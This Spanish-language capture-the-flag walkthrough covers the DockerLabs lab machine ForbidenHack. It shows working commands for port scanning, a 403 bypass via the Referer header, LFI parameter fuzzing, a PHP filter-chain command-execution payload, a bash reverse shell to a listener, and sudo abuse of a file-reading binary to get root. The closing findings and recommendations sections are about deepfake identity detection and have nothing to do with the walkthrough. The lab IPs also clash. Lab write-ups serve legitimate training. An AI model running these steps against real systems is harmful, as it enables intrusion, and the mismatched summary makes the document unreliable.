ForbidenHack
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina ForbidenHack, desarrollada por d1se0 para DockerLabs y clasificada con un nivel de dificultad fácil.
El análisis se organiza siguiendo un flujo metodológico clásico de auditoría:
- Reconocimiento: descubrimiento de puertos, rutas accesibles y archivos expuestos.
- Explotación: obtención de acceso inicial mediante un bypass de restricción 403 y explotación de un LFI.
- Escalada de privilegios: abuso de configuraciones inseguras en un binario ejecutable vía sudo.
Los objetivos del procedimiento fueron:
- Identificar los vectores de ataque disponibles desde el entorno inicial.
- Analizar el comportamiento del servidor y los archivos accesibles.
- Obtener acceso inicial mediante técnicas de bypass y análisis de código.
- Escalar privilegios hasta usuario root aprovechando configuraciones incorrectas.
Todas las acciones se realizaron dentro del entorno aislado proporcionado por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | ForbidenHack |
| Autor | d1se0 |
| Dificultad | Fácil |
| Fecha | 14/01/2025 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Se descomprime el archivo descargado:
unzip "ForbidenHack.zip"Luego se despliega la máquina mediante el script proporcionado:
sudo bash auto_deploy.sh "ForbidenHack.tar"El script devuelve la IP interna asignada, la cual se utilizará en todo el análisis.

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Para mantener un espacio estructurado de análisis:
mkdir -p ForbidenHack/{content,exploits,nmap,gobuster,scripts}cd ForbidenHack1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se realiza un escaneo completo:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPortsextractPorts allPortsPuerto identificado:
- 80/tcp — HTTP

El único vector de entrada inicial disponible es el servicio HTTP.
1.3 Enumeración Web (HTTP — puerto 80)
Sección titulada «1.3 Enumeración Web (HTTP — puerto 80)»Exploración inicial con Gobuster:
gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Entre los resultados:
- /index.html — Página básica sin información útil.

Observamos que la página HTML hace referencia a un archivo ubicado en:
/var/www/bypass403.pw/index.phpEsto indica el uso de virtual hosts, por lo que es necesario añadir el dominio al archivo /etc/hosts.
Al acceder al dominio:

Se obtiene un 403 Forbidden, lo cual coincide con el nombre de la máquina.
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»El dominio sugiere un bypass 403, por lo que se prueban encabezados HTTP adicionales. El servidor permite el acceso si se envía un encabezado:
Referer: http://bypass403.pwUna vez aplicado:

El mensaje “Cuántos secretos guarda esta web” sugiere la existencia de rutas ocultas, por lo que se procede con fuzzing de parámetros usando ffuf:
ffuf -u http://bypass403.pw/index.php?FUZZ=/etc/passwd \ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -mc all -fs 0,1192 -hc 403 -t 100
El parámetro pages permite un LFI (Local File Inclusion):
curl -k "http://bypass403.pw/index.php?pages=/etc/passwd" \ -H "Referer: http://bypass403.pw/index.php"
Como el LFI es funcional, se procede a intentar una ejecución remota mediante filter chains en PHP.
Se genera un payload de ejecución de comandos:
php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'Se abre un listener:
nc -nlvp 443Y se lanza la cadena de filtros para obtener una reverse shell:
curl --get --data-urlencode "a=bash -c 'bash -i >& /dev/tcp/172.17.0.1/443 0>&1'" \ --data-urlencode "pages=php://filter/...<cadena completa>..." \ -H "Referer: http://bypass403.pw" \ http://bypass403.pw/index.phpLa reverse shell se obtiene correctamente:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De www-data → bambi
Sección titulada «3.1 De www-data → bambi»En /home/bambi/ se encuentra un archivo .secret:

El archivo contiene:
usuario:password_base64Se decodifica la contraseña y se accede como bambi:
su bambi
3.2 De bambi → root (abuso del binario furb)
Sección titulada «3.2 De bambi → root (abuso del binario furb)»Se revisan los permisos sudo:

El usuario puede ejecutar furb como root sin contraseña.
Al analizar el archivo /var/backups/furbRead.txt, queda claro que el binario se utiliza para leer archivos:

El archivo menciona que existe otro con el mismo nombre en otra ubicación, lo cual sugiere que en /root/ podría haber uno.
Se ejecuta:
sudo furb -r /root/furbRead.txt
El archivo contiene una contraseña para root, por lo que solo queda acceder:
su root
Fallos de seguridad identificados (resumido)
Sección titulada «Fallos de seguridad identificados (resumido)»-
Alta calidad de las identidades sintéticas Los modelos generativos actuales producen rostros, voces y documentos con un nivel de realismo que dificulta su detección mediante métodos tradicionales de verificación.
-
Ausencia de verificadores multimodales integrados La mayoría de los sistemas analizan solo una modalidad (imagen, audio o documento), lo que permite que una identidad falsa bien elaborada pase desapercibida si alguna modalidad no es evaluada.
-
Herramientas forenses limitadas o inconsistentes Las soluciones existentes presentan tasas variables de falsos positivos/negativos, especialmente frente a contenido generado con modelos recientes.
-
Falta de estandarización en metadatos y trazabilidad Muchos formatos no incluyen información confiable de origen, facilitando la manipulación o creación de materiales totalmente sintéticos sin dejar rastro detectable.
-
Vulnerabilidad ante ataques de “bypass” Modificaciones simples —como compresión adicional, filtros o reenvasado del archivo— pueden degradar las señales forenses y reducir la eficacia de los detectores.
-
Carencia de protocolos institucionales de verificación Las organizaciones no suelen contar con lineamientos claros para validar identidad digital ante la presencia de contenido sintético.
Recomendaciones (resumido)
Sección titulada «Recomendaciones (resumido)»-
Adoptar modelos de detección multimodal Integrar verificadores que analicen simultáneamente rostro, voz y documentos aumenta la probabilidad de detectar inconsistencias entre modalidades.
-
Actualizar continuamente los detectores Implementar sistemas que se entrenen o ajusten periódicamente frente a nuevas técnicas generativas, reduciendo el rezago frente a modelos emergentes.
-
Fortalecer el uso de metadatos verificables Establecer estándares de firma digital, trazabilidad y certificación de origen para archivos audiovisuales y documentos.
-
Aplicar análisis forense en múltiples niveles Combinar detección basada en artefactos digitales, análisis del comportamiento del modelo y verificación contextual (ej. inconsistencias temporales o biográficas).
-
Implementar protocolos institucionales de verificación Definir procedimientos claros para elevar el nivel de escrutinio cuando existan indicios de identidad sintética.
-
Promover capacitación en riesgos asociados a IA generativa Sensibilizar a equipos técnicos y administrativos sobre el uso malicioso de identidades sintéticas y sobre las señales tempranas de fraude.